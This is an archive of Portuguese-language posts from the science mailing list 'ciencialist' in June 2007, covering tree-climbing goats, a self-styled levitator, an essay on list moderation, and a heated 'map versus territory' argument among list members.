Não tentem fazer isto em casa.
[via Neatorama <http://www.neatorama.com/2007/06/20/dr-megavolt/>]

*Veja também:*
CeticismoAberto.com atualizado 03/04/2007
<http://100nexos.com/arquivo/117>UFOLOGIA
Martin Kottmeyer"Gauche Encounters": ...
Bobina de Tesla musical (alto-falante
iônico)<http://100nexos.com/arquivo/177>Bobinas de Tesla produzem
descargas elétri...
Doutor Strangelove: financiado pela
ExxonMobil<http://100nexos.com/arquivo/105>O
blog Rabiscos Econômicos revela "Como eu p...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Cabras “arborícolas” e que travam
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 21/06/2007 23:37

Cabras "arborícolas" e que travam <http://100nexos.com/arquivo/181>

Assista ao vídeo <http://100nexos.com/arquivo/181>

Há algum tempo havíamos indicado em CeticismoAberto a imagem de cabras
"arborícolas" <http://www.ceticismoaberto.com/news/?p=824>, para descrença
de alguns. O vídeo acima deve confirmar o inacreditável, e como o Paleofreak
comenta <http://paleofreak.blogalia.com/historias/49967>, "muitas vezes, as
habilidades arbóreas de um animal são dificilmente deduzíveis a partir do
esqueleto ou de um fóssil". Quem diria que cabras poderiam subir em árvores
com tanta desenvoltura? A partir dos ossos, seres do futuro poderiam
concluir que somos seres sem nariz e com uma bela careca
reluzente<http://www.ceticismoaberto.com/fortianismo/ossos.htm>.
E, talvez com razão, que não somos geralmente muito bons em subir em
árvores.
Outro vídeo de comportamento inusitado de cabras são as cabras que "travam",
desmaiam, ou como talvez mais pessoas entenderão, fazem que nem o Chaves
quando estressadas: congelam. É uma condição real chamada miotonia, e além
de hilária é apreciada pelos criadores. Confira o vídeo no Glúon/blog: Cabras
que travam <http://www.gluon.com.br/blog/2007/06/15/cabras-travam/>.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: A saga de Augusto, o levitador
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 21/06/2007 23:40

A saga de Augusto, o levitador <http://www.ceticismoaberto.com/news/?p=912>

Assista ao vídeo <http://www.ceticismoaberto.com/news/?p=912>

Augusto é uma figura pitoresca que vive no interior do RS que acredita que
pode levitar, graças ao 5º elemento da natureza o "Epther"(Éter), para isso
ele evoca a técnica do Rao-Rao, que seria um mantra.

Confira também: # Augusto Levitador 2 - A
missão<http://ahtrineh.blogspot.com/2006/12/augusto-2-misso.html>e #
Augusto Levitador 3 - A
vingança<http://ahtrineh.blogspot.com/2007/02/augusto-3-vingana.html>
.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Um tema oportuno: Modera��o, ofensas e disc�rdia em listas de discuss�o.
FROM: "Cyberlander" <cyberlander2002@yahoo.com.br>
TO: <Undisclosed-Recipient:;>
DATE: 22/06/2007 00:07





Moderação, ofensas e discórdia em listas de discussão.
Written by Jeferson Luís da Silva

Thursday, 17 May 2007

Recentemente foi constatado que as pessoas ao interagirem por meios eletrônicos perdem facilmente a postura e tendem ao comportamento agressivo. O moderador precisa estar preparado para ser duramente criticado por alguns membros e intermediar alguns atritos. A tarefa do moderador é sem dúvida importante dentro de uma lista de discussão.

Porque as pessoas se tornam mais agressivas no ambiente digital?

É interessante observar que muitas pessoas ao lidarem com computadores não conseguem sentir a presença do outro individuo através da telinha. Nestes casos as pessoas agem como se estivessem falando com o computador e ignoram os sentimentos do outro membro dentro da lista de discussão. Isso quando enviam uma mensagem.

Quando recebem uma mensagem tratam esta em tom pessoal, sentindo neste momento que aquilo que está escrito se refere a sua intimidade. É aqui que a confusão inicia.

Lembro de um membro que enviou certa vez para uma das listas da Tecnociência (http://tecnociencia.jor.br) um comentário iniciando a frase com a expressão "Meu Irmãozinho..." e seguiu com uma explicação técnica. Na ocasião participavam da lista 3.000 pessoas, o envio foi para todos os membros. Algumas horas depois um participante se manifestou muito irritado e sentindo-se bastante ofendido, querendo briga com o colega que iniciou com a expressão "Meu Irmãozinho" esta pessoa enviou uma mensagem bastante ofensiva. Como moderador não permiti o envio da mensagem para a lista e conversei com a pessoa que furiosa enviou a mensagem.

O fato é que ele se irritou porque perdeu seu irmão semanas antes em um acidente e quando leu a mensagem que iniciava com "Meu irmãozinho" entendeu como uma ofensa, já que um estranho estava se passando por seu irmão.

Este é um caso típico de uma pessoa que ao receber a mensagem em seu e-mail entendeu ela em tom pessoal, esquecendo que o envio foi publico e partiu de alguém que não partilhava dos acontecimentos pessoais e não teria como saber da perda do irmão.

Ao analisar o exemplo acima parece incoerente a reação do colega que se irritou, mas na verdade todos nós recebemos mensagens e ao ler sentimos de forma pessoal. O colega dentro das circunstancias estava abatido e naturalmente explodiu descarregando sua frustração em algo simples como uma mensagem pública que iniciava com "Meu Irmãozinho".

Na internet as mensagens por fórum ou e-mail são muito frias (sem expressão) e facilmente geram algum atrito ou desconforto, mesmo entre pessoas próximas. Lembro de uma amiga iniciante na internet que me enviou um e-mail e após eu responder me ligou perguntando se eu estava zangado com ela. Estranhando a pergunta questionei o porque ela pensava que eu estivesse zangado. A resposta: "Achei o seu e-mail muito seco, antipático".

Tive de explicar que era difícil responder um e-mail atencioso naquele momento de correria e sobrecarga de atividades, estava em horário de trabalho.

A maioria das brigas em meios digitais tem sua origem nos erros de interpretação nas mensagens ou por respostas formuladas erroneamente, com pouca cortesia.

É muito difícil uma lista de discussão pública sem moderação conseguir um ambiente pacífico e acolhedor. É o moderador que evita ao máximo os atritos controlando quais mensagens podem ser postadas e quais devem ser evitadas.



Como contribuir para um ambiente melhor?

Existem basicamente três grupos de pessoas que participam de listas de discussão ou fóruns onde você poderá se encaixar e com isso ficar atento para suas possíveis falhas.

Grupo 1 - Intolerante, preconceituoso.

Este é o mais comum e todos nós possuímos um certo grau de intolerância e preconceito.

É muito comum em listas de discussão alguém se irritar porque a pergunta de algum membro foi inadequada (pergunta babaca) ou pelo fato da mensagem conter erros de gramática, gírias, etc.

Observe que ser intolerante não significa que tenhamos de faltar com o respeito ou expressar nossa irritação para os outros participantes. É muito mais saudável apenas deletar a mensagem e não responde-la. Sofrer quietinho para o bem comum, segurando a intolerância para si próprio.



Grupo 2 - Onipotente, convicto.

Este é outro problema muito comum principalmente em listas de discussão e fóruns.

O convicto sempre acredita que está certo e briga ou escreve mensagens como se fosse o dono da verdade. Ele não supõe e sim afirma. Julgando e condenando tudo e todos que são contrários a sua percepção. O famoso "cabeça dura".

Aqui também todas as pessoas possuem um certo grau de convicção que precisa ser observado com cautela. Este é o inverso do propósito de uma lista de discussão. Imagine se inscrever em um ambiente para debater sem aceitar e respeitar opiniões alheias.

Se você é uma pessoa convicta procure substituir afirmação por suposição.

Neste caso não garanta ou tenha certeza, use sempre expressões do tipo: Me parece que...Tenho a impressão... Acredito que... Pode ser....

Evite as expressões: Tenho certeza...Te garanto...É assim...

Observe que para um debate fluir e existir a troca de opiniões, não pode existir imposição, mesmo em problemas ou procedimentos de caráter técnicos.



Grupo 3 - O ignorante malandro ou preguiçoso.

Este é o que mais irrita as pessoas em fóruns ou listas de discussão colaborativas. O ignorante por preguiça ou malandragem normalmente envia para a lista uma dúvida banal que poderia ser respondida simplesmente pensando um pouquinho ou olhando as perguntas antigas postadas ou até tentando passar assuntos fora do tópico da lista. O problema é que a pessoa tenta através de perguntas induzir outras pessoas a fazer o seu trabalho.

Veja exemplo:

"Se eu somar 1294+23421+64743 e diminuir 10% qual o resultado? Não sei calcular percentual".

"Alguém poderia encontrar para mim a história da computação no Brasil, não sei usar o google".


Observe que nos dois exemplos acima a pessoa não está sanando uma dúvida e sim pedindo que alguém resolva o problema para ela.

O correto seria:

"Alguém sabe ou pode me indicar um tutorial sobre como calcular em percentual?".

"Como posso fazer pesquisas no google ou onde encontro explicações sobre o assunto?".

Sempre verifique se a sua mensagem está de acordo com o tópico da lista e se você está buscando apreender um determinado assunto ou se a mensagem que você criou delega tarefas. Se a mensagem delegar tarefas evite envia-la.

Evite ser malandro e enviar mensagens com gírias, pedir seriais ou coisas ilegais, muitas pessoas entendem isso como um deboche ou falta de valorização com as atividades da lista ou fórum.

Como moderar listas de discussão ou fóruns?

O moderador precisa fazer cumprir as regras da lista. Na Tecnociência (http://tecnociencia.jor.br) usamos como modelo as seguintes regras.

Deletar as mensagens quando

1 - Estiver fora do tópico.

2 - Conter temos agressivos, ofensivos ou demonstrar preconceito.

3 - For propaganda - Spam.

4 - Caracterizar pirataria ou informação para práticas ilegais.



Orientar os usuários quando

1 - Mensagens enviadas são referentes a dados pessoais ou e-mails.

Estas devem ser enviadas apenas para quem as solicitou e não para a lista.

2 - Distribuição de programas com seriais ou atividade pirata.

É proibido distribuir programas ou informações que contrariam a legislação vigente.



Quando Banir usuários do grupo.

Sempre que um membro possui mais de quatro mensagens deletadas pelo mesmo motivo no intervalo de trinta dias ele pode ser banido pelo moderador ou ser convidado a se retirar do grupo. Esta é a mais difícil atitude que o moderador precisa enfrentar em raras ocasiões.

O banimento pode ser temporário, uma espécie de castigo que é aplicado aos membros mais irritados, ofensivos. Ou permanente quando o ato implicar em ilegalidade.

O importante na moderação é o fato do moderador permitir mensagens públicas saudáveis evitando que as mensagens desagradáveis cheguem aos membros da lista preservando harmonia e qualidade no debate.

====================

[+] Info sobre Autor

http://tecnociencia.jor.br/comunidade/index.php?option=com_comprofiler&Itemid=179&task=userProfile&user=62








[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: Um tema oportuno: Moderação, ofensas e discórdia em listas de discussão.
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 00:59

--- Em ciencialist@yahoogrupos.com.br, "Cyberlander"
> Grupo 1 -
> Intolerante, preconceituoso.
>
> Este é o mais comum e todos nós possuímos um certo grau de
> intolerância e preconceito.

Todos nós um pinóia! Quem vc está chamando de intolerante e
preconceituoso???? Vá pra 8&¨873443... seu nerdezinho de ((*&¨%¨#

[]s,

Roberto Takata



SUBJECT: Res: [ciencialist] Fw: Um tema oportuno: Moderação, ofensas e discórdia em listas de discussão.
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 09:30

Pelo visto este grupo é o mais harmonizado!!!!
Não temos nada de intrigas entre os participantes... somos todos "irmãozinhos"!!!!
Por favor não pensem que me enquadro no grupo 3 citado no texto abaixo... mas eu só gostaria de desejar uma ótima sexta-feira à todos!!! :D

Abraços
Aline

----- Mensagem original ----
De: Cyberlander <cyberlander2002@yahoo.com.br>
Para: Undisclosed-Recipient@yahoo.com
Enviadas: Sexta-feira, 22 de Junho de 2007 0:07:43
Assunto: [ciencialist] Fw: Um tema oportuno: Moderação, ofensas e discórdia em listas de discussão.


Moderação, ofensas e discórdia em listas de discussão.
Written by Jeferson Luís da Silva

Thursday, 17 May 2007

Recentemente foi constatado que as pessoas ao interagirem por meios eletrônicos perdem facilmente a postura e tendem ao comportamento agressivo. O moderador precisa estar preparado para ser duramente criticado por alguns membros e intermediar alguns atritos. A tarefa do moderador é sem dúvida importante dentro de uma lista de discussão.

Porque as pessoas se tornam mais agressivas no ambiente digital?

É interessante observar que muitas pessoas ao lidarem com computadores não conseguem sentir a presença do outro individuo através da telinha. Nestes casos as pessoas agem como se estivessem falando com o computador e ignoram os sentimentos do outro membro dentro da lista de discussão. Isso quando enviam uma mensagem.

Quando recebem uma mensagem tratam esta em tom pessoal, sentindo neste momento que aquilo que está escrito se refere a sua intimidade. É aqui que a confusão inicia.

Lembro de um membro que enviou certa vez para uma das listas da Tecnociência (http://tecnociencia.jor.br) um comentário iniciando a frase com a expressão "Meu Irmãozinho..." e seguiu com uma explicação técnica. Na ocasião participavam da lista 3.000 pessoas, o envio foi para todos os membros. Algumas horas depois um participante se manifestou muito irritado e sentindo-se bastante ofendido, querendo briga com o colega que iniciou com a expressão "Meu Irmãozinho" esta pessoa enviou uma mensagem bastante ofensiva. Como moderador não permiti o envio da mensagem para a lista e conversei com a pessoa que furiosa enviou a mensagem.

O fato é que ele se irritou porque perdeu seu irmão semanas antes em um acidente e quando leu a mensagem que iniciava com "Meu irmãozinho" entendeu como uma ofensa, já que um estranho estava se passando por seu irmão.

Este é um caso típico de uma pessoa que ao receber a mensagem em seu e-mail entendeu ela em tom pessoal, esquecendo que o envio foi publico e partiu de alguém que não partilhava dos acontecimentos pessoais e não teria como saber da perda do irmão.

Ao analisar o exemplo acima parece incoerente a reação do colega que se irritou, mas na verdade todos nós recebemos mensagens e ao ler sentimos de forma pessoal. O colega dentro das circunstancias estava abatido e naturalmente explodiu descarregando sua frustração em algo simples como uma mensagem pública que iniciava com "Meu Irmãozinho".

Na internet as mensagens por fórum ou e-mail são muito frias (sem expressão) e facilmente geram algum atrito ou desconforto, mesmo entre pessoas próximas. Lembro de uma amiga iniciante na internet que me enviou um e-mail e após eu responder me ligou perguntando se eu estava zangado com ela. Estranhando a pergunta questionei o porque ela pensava que eu estivesse zangado. A resposta: "Achei o seu e-mail muito seco, antipático".

Tive de explicar que era difícil responder um e-mail atencioso naquele momento de correria e sobrecarga de atividades, estava em horário de trabalho.

A maioria das brigas em meios digitais tem sua origem nos erros de interpretação nas mensagens ou por respostas formuladas erroneamente, com pouca cortesia.

É muito difícil uma lista de discussão pública sem moderação conseguir um ambiente pacífico e acolhedor. É o moderador que evita ao máximo os atritos controlando quais mensagens podem ser postadas e quais devem ser evitadas.



Como contribuir para um ambiente melhor?

Existem basicamente três grupos de pessoas que participam de listas de discussão ou fóruns onde você poderá se encaixar e com isso ficar atento para suas possíveis falhas.

Grupo 1 - Intolerante, preconceituoso.

Este é o mais comum e todos nós possuímos um certo grau de intolerância e preconceito.

É muito comum em listas de discussão alguém se irritar porque a pergunta de algum membro foi inadequada (pergunta babaca) ou pelo fato da mensagem conter erros de gramática, gírias, etc.

Observe que ser intolerante não significa que tenhamos de faltar com o respeito ou expressar nossa irritação para os outros participantes. É muito mais saudável apenas deletar a mensagem e não responde-la. Sofrer quietinho para o bem comum, segurando a intolerância para si próprio.



Grupo 2 - Onipotente, convicto.

Este é outro problema muito comum principalmente em listas de discussão e fóruns.

O convicto sempre acredita que está certo e briga ou escreve mensagens como se fosse o dono da verdade. Ele não supõe e sim afirma. Julgando e condenando tudo e todos que são contrários a sua percepção. O famoso "cabeça dura".

Aqui também todas as pessoas possuem um certo grau de convicção que precisa ser observado com cautela. Este é o inverso do propósito de uma lista de discussão. Imagine se inscrever em um ambiente para debater sem aceitar e respeitar opiniões alheias.

Se você é uma pessoa convicta procure substituir afirmação por suposição.

Neste caso não garanta ou tenha certeza, use sempre expressões do tipo: Me parece que...Tenho a impressão... Acredito que... Pode ser....

Evite as expressões: Tenho certeza...Te garanto...É assim...

Observe que para um debate fluir e existir a troca de opiniões, não pode existir imposição, mesmo em problemas ou procedimentos de caráter técnicos.



Grupo 3 - O ignorante malandro ou preguiçoso.

Este é o que mais irrita as pessoas em fóruns ou listas de discussão colaborativas. O ignorante por preguiça ou malandragem normalmente envia para a lista uma dúvida banal que poderia ser respondida simplesmente pensando um pouquinho ou olhando as perguntas antigas postadas ou até tentando passar assuntos fora do tópico da lista. O problema é que a pessoa tenta através de perguntas induzir outras pessoas a fazer o seu trabalho.

Veja exemplo:

"Se eu somar 1294+23421+64743 e diminuir 10% qual o resultado? Não sei calcular percentual".

"Alguém poderia encontrar para mim a história da computação no Brasil, não sei usar o google".


Observe que nos dois exemplos acima a pessoa não está sanando uma dúvida e sim pedindo que alguém resolva o problema para ela.

O correto seria:

"Alguém sabe ou pode me indicar um tutorial sobre como calcular em percentual?".

"Como posso fazer pesquisas no google ou onde encontro explicações sobre o assunto?".

Sempre verifique se a sua mensagem está de acordo com o tópico da lista e se você está buscando apreender um determinado assunto ou se a mensagem que você criou delega tarefas. Se a mensagem delegar tarefas evite envia-la.

Evite ser malandro e enviar mensagens com gírias, pedir seriais ou coisas ilegais, muitas pessoas entendem isso como um deboche ou falta de valorização com as atividades da lista ou fórum.

Como moderar listas de discussão ou fóruns?

O moderador precisa fazer cumprir as regras da lista. Na Tecnociência (http://tecnociencia.jor.br) usamos como modelo as seguintes regras.

Deletar as mensagens quando

1 - Estiver fora do tópico.

2 - Conter temos agressivos, ofensivos ou demonstrar preconceito.

3 - For propaganda - Spam.

4 - Caracterizar pirataria ou informação para práticas ilegais.



Orientar os usuários quando

1 - Mensagens enviadas são referentes a dados pessoais ou e-mails.

Estas devem ser enviadas apenas para quem as solicitou e não para a lista.

2 - Distribuição de programas com seriais ou atividade pirata.

É proibido distribuir programas ou informações que contrariam a legislação vigente.



Quando Banir usuários do grupo.

Sempre que um membro possui mais de quatro mensagens deletadas pelo mesmo motivo no intervalo de trinta dias ele pode ser banido pelo moderador ou ser convidado a se retirar do grupo. Esta é a mais difícil atitude que o moderador precisa enfrentar em raras ocasiões.

O banimento pode ser temporário, uma espécie de castigo que é aplicado aos membros mais irritados, ofensivos. Ou permanente quando o ato implicar em ilegalidade.

O importante na moderação é o fato do moderador permitir mensagens públicas saudáveis evitando que as mensagens desagradáveis cheguem aos membros da lista preservando harmonia e qualidade no debate.

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SUBJECT: Re: Exercícios de química
FROM: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 09:31


Hummm... um bug no sistema "Tantalizing Amazing Knowledge Acquisition Terabyte Apparatus".


Sandro Silva

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
>> Ou não? Bem, precisarei revisar essa parte.

>É, o item 3a não está fácil para se resolver...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Contribuição Cristã ao Racismo
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 09:39

Olá, Manoel!

Acabei de ler o seu artigo. Há poucos pontos de que discordo, e mesmo esses
poucos têm a ver com questões bastante pessoais, e não com a validade ou
profundidade dos argumentos. Em alguns trechos, me senti como se estivesse
lendo um Joseph Campbell mais politizado.

É o tipo de texto difícil de encontrar na net, quanto mais em portugues.

Gil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Governo estimula produção de conteúdo digital
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 12:15

JC e-mail 3288, de 20 de Junho de 2007. *8. Governo estimula produ��o
de conte�do digital* * *
MCT e MEC lan�am nesta quarta-feira programa de apoio � produ��o de
material did�tico digital

Com o crescimento da Internet e o intensivo uso de m�dias digitais, a
Educa��o B�sica em todo o Planeta vem passando por diversas transforma��es.

Ciente destas mudan�as e buscando proporcionar uma boa qualidade de ensino,
os minist�rios da Ci�ncia e Tecnologia (MCT) e Educa��o (MEC) lan�am hoje
(20) uma portaria interministerial para a concretiza��o de um edital de
apoio � produ��o de material did�tico digital.

A solenidade ser� �s 15h30, no Pal�cio do Planalto, com a presen�a do
presidente Luiz In�cio Lula da Silva e dos ministros Sergio Rezende (MCT) e
Fernando Haddad (MEC).

O programa contar� com o aporte de R$ 75 milh�es e vai estimular a
realiza��o de iniciativas que promovam a produ��o de materiais para diversas
plataformas.

O objetivo principal da iniciativa � tornar dispon�veis conte�dos,
metodologias, materiais e pr�ticas pedag�gicas inovadoras no ensino de
Qu�mica, F�sica, Biologia, Matem�tica e L�ngua Portuguesa, com �nfase na
criatividade, experimenta��o e interdisciplinaridade.

Podem apresentar projetos universidades, faculdades, centros tecnol�gicos,
centros e museus de ci�ncias, institui��es de ensino superior ou institutos,
OCIPs, ONGs, funda��es e centros de pesquisa e desenvolvimento sediados no
Brasil, p�blicos ou privados, sem fins lucrativos.

Os projetos devem contemplar 100% dos conte�dos das disciplinas escolhidas,
atendendo � carga hor�ria m�nima indicada para cada �rea de conhecimento.
Cada institui��o poder� apresentar projetos para a produ��o de conte�dos em,
no m�ximo, tr�s disciplinas e/ou at� tr�s em regime de parceria.

As propostas devem ser entregues no Protocolo Central do MEC. Confira o
cronograma:

Lan�amento do Edital � 20 de junho
Data limite para submiss�o dos projetos � 31 de setembro
An�lise e Julgamento dos projetos � at� 14 de novembro
Divulga��o dos resultados � 21 de novembro
In�cio da execu��o dos projetos - a partir de 28 de novembro

Mais informa��es: (61) 2104-8975.
(Assessoria de Imprensa do MCT)


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Já entrou no motor de um avião a jato ?!?!? Então veja o que acontece...
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 22/06/2007 12:19

É só clicar neste link:

http://www.rolls-royce.com/education/schools/how_things_work/journey02/flash.html


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Auto-ajuda
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 12:33

Do original em inglês (www.*howstuffworks*.com), segue a versão em português
do sítio mais famoso para resolver cientificamente dúvidas comuns que pintam
na cabeça. Não promete felicidade, mas dá um baita alívio!
Esteban.


*HowStuffWorks*
*Portal que mostra como as coisas funcionam ganha versão brasileira*
http://hsw.uol.com.br/


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ JC - Re: Mapa e território
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 12:40

Olá JC

JC: "Porque leio essas asneiras na lista o tempo todo?"

Apoiado!..:-) É quase insuportável ver novas mensagens do Ferrari na
lista, e, por uma questão de educação e interesse pelas respostas dos
outros co-listeiros, ter de ler para ver se algo de útil ou razoável
está escrito (com a certeza, baseada na falta de qualquer desses
predicados em todas as mensagens anteriores, de não encontrar nada
disso.:-).

O que é insuportável?

O que é mensagens anteriores?

Mensagens anteriores é o mapa ou o território?
(o Ferrari usa essa frase como um mantra, como católicos usam o Pai
Nosso, para espantar os "demonios" e criar segurança psicológica, me
parece..:-)

O que é asneiras?

Difícil, muito difícil..:-)

Um abraço.

Homero





--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
<profjc2003@...> escreveu
>
> Mapa é território porque território é mapa.
>
> Se o mapa não é o território, então o que é o território?
>
> Uma idéia? Mas uma idéia é um mapa.
>
> Uma coisa? Mas toda coisa é uma idéia.
>
> Porque leio essas asneiras na lista o tempo todo?
>
> Abraços,
> JC
>




SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 13:49

Olá Takata!

Takata >>> Ao aspecto de q objetos/fenômenos
apresentam uma localização no espaço e no tempo, q
objetos/fenômenos possuem extensão e duração...

--- Pra voce, espaço e tempo são mapas ou são
territórios?

Takata >>> Mas vc está devendo a resolução do
exercício.

--- Ok, tô sabendo. É um fato.


sinceramente
ferrari

EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

MEU PORTAL:
http://marceloferrari.blogspot.com

Para receber meus textos inéditos (de literatura), envie um email para:
mferrari-subscribe@yahoogrupos.com.br























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SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 14:01

Olá Takata!

Takata >>> conexão física entre as partes.

--- Vc quer dizer, semelhança fisica, é isto?

Takata >>> O Universo é o conjunto de sistemas
conectados - q trocam informações - direta ou
indiretamente entre si. Não é questão de acreditar. É
pura definição.

--- E porque voce acredita nesta definição?

Takata >>> Porq é feio mentir ou omitir a verdade -
salvo, exceções, q não é o caso.

--- Porque é feio omitir a verdade? Porque acredita
nisto? Tem certeza? Porque?

Takata >>> Não me preocupo com certezas.

--- Então porque quer tanto saber se sei a solução ou
não? Porque quer tanto ter certeza disto?

Takata >>> O q importa para uma hipótese é não haver
contradição com os fatos.

--- Pois é, voce está sendo contraditório.

Takata >>> E não responderei a nenhuma pergunta sua e
não farei mais nenhuma observação ou comentários sobre
o q vc escrever eqto vc não fizer uma de duas coisas:

--- Tá no seu direito. Respeito.

Takata >>> 1) Admitir q não sabe resolver o problema.

--- Fico pensando porque isto te incomoda tanto. Vc já
se perguntou sobre isto?

Takata >>> 2) Apresentar a resolução para o problema
(e depois resolver outra série de problemas
relacionados sem enrolar).

--- Considere o seguinte, vc não consegui dividir o
carro sem deixar de separar as partes, não conseguiu
dividir o UM, nem encontrar outra coisa que não fosse
UM na natureza, mas nem por isto eu fiquei bicudo com
vc. Que tal aceitar o conselho da Marta Suplicy.
Porque não? É inevitável, não é?


sinceramente
ferrari





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SUBJECT: Re: [ciencialist] Mapa e território
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 14:06

Olá Zé!

JC >>> Porque leio essas asneiras na lista o tempo
todo?

Eis a pergunta. Porque? Agora, decifre-a ou ela te
devora. Poderia te responder, mas assim vc sempre
poderia botar a culpa no outro, dizer que é asneira do
discurso do outro. Então, só funciona quando se
descobrir o porque da asneira por si só.



sinceramente
ferrari



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SUBJECT: Re: [ciencialist] P/ JC - Re: Mapa e território
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 14:20

Olá Homero!

Homero >>> e, por uma questão de educação...

--- Acha que engana quem, Homero? Além do que, vamos e
venhamos, educação não é seu forte.

Homero >>> ter de ler para ver se algo de útil ou
razoável está escrito

--- Ter de ler? Pára com isto! Ainda quer botar a
culpa da sua leitura em mim. Mas que falta de vergonha
na cara Homero! Assume ai que vc lê porque quer e
pronto. Porque está tentando se fazer de tadinho? Oh!
Tadinho de mim, sou obrigado a ler as besteiras do
ferrari. Mas que pobre coitado sou eu.

Homero >>> o Ferrari usa essa frase como um mantra,
como católicos usam o Pai Nosso, para espantar os
"demonios" e criar segurança psicológica, me
parece..:-)

--- Pois é! Pena que o encosto do fisiques não sai nem
com sal grosso e romaria dos principios da
termodinamica. Faço o que posso. Mas embora vc pense o
contrário, não posso fazer milagre.

Homero >>> Difícil, muito difícil..:-)

--- E quem disse que seria fácil. Homero: desista! Sua
insistencia é a única fonte do seu sofrimento.




sinceramente
ferrari



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SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 14:53

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Pra voce, espaço e tempo são mapas ou são
> territórios?

E não responderei a nenhuma pergunta sua e não farei mais nenhuma
observação ou comentários sobre o q vc escrever eqto vc não fizer uma
de duas coisas:

1) Admitir q não sabe resolver o problema.
2) Apresentar a resolução para o problema (e depois resolver outra
série de problemas relacionados sem enrolar).

[]s,

Roberto Takata



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 14:54

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Vc quer dizer, semelhança fisica, é isto?
> --- E porque voce acredita nesta definição?
> --- Porque é feio omitir a verdade? Porque acredita
> nisto? Tem certeza? Porque?
> --- Então porque quer tanto saber se sei a solução ou
> não? Porque quer tanto ter certeza disto?
> --- Pois é, voce está sendo contraditório.
> --- Tá no seu direito. Respeito.
> --- Fico pensando porque isto te incomoda tanto. Vc já
> se perguntou sobre isto?
> --- Considere o seguinte, vc não consegui dividir o
> carro sem deixar de separar as partes, não conseguiu
> dividir o UM, nem encontrar outra coisa que não fosse
> UM na natureza, mas nem por isto eu fiquei bicudo com
> vc. Que tal aceitar o conselho da Marta Suplicy.
> Porque não? É inevitável, não é?

E não responderei a nenhuma pergunta sua e não farei mais nenhuma
observação ou comentários sobre o q vc escrever eqto vc não fizer uma
de duas coisas:

1) Admitir q não sabe resolver o problema.
2) Apresentar a resolução para o problema (e depois resolver outra
série de problemas relacionados sem enrolar).

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ JC - Re: Mapa e território
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 15:27

Por que todo cientista é fascista?

Hey Ciência!!

sds

Em 22/06/07, oraculo333 <oraculo@atibaia.com.br> escreveu:
>
> Olá JC
>
> JC: "Porque leio essas asneiras na lista o tempo todo?"
>
> Apoiado!..:-) É quase insuportável ver novas mensagens do Ferrari na
> lista, e, por uma questão de educação e interesse pelas respostas dos
> outros co-listeiros, ter de ler para ver se algo de útil ou razoável
> está escrito (com a certeza, baseada na falta de qualquer desses
> predicados em todas as mensagens anteriores, de não encontrar nada
> disso.:-).
>
> O que é insuportável?
>
> O que é mensagens anteriores?
>
> Mensagens anteriores é o mapa ou o território?
> (o Ferrari usa essa frase como um mantra, como católicos usam o Pai
> Nosso, para espantar os "demonios" e criar segurança psicológica, me
> parece..:-)
>
> O que é asneiras?
>
> Difícil, muito difícil..:-)
>
> Um abraço.
>
> Homero
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> José Carlos Antonio
> <profjc2003@...> escreveu
> >
> > Mapa é território porque território é mapa.
> >
> > Se o mapa não é o território, então o que é o território?
> >
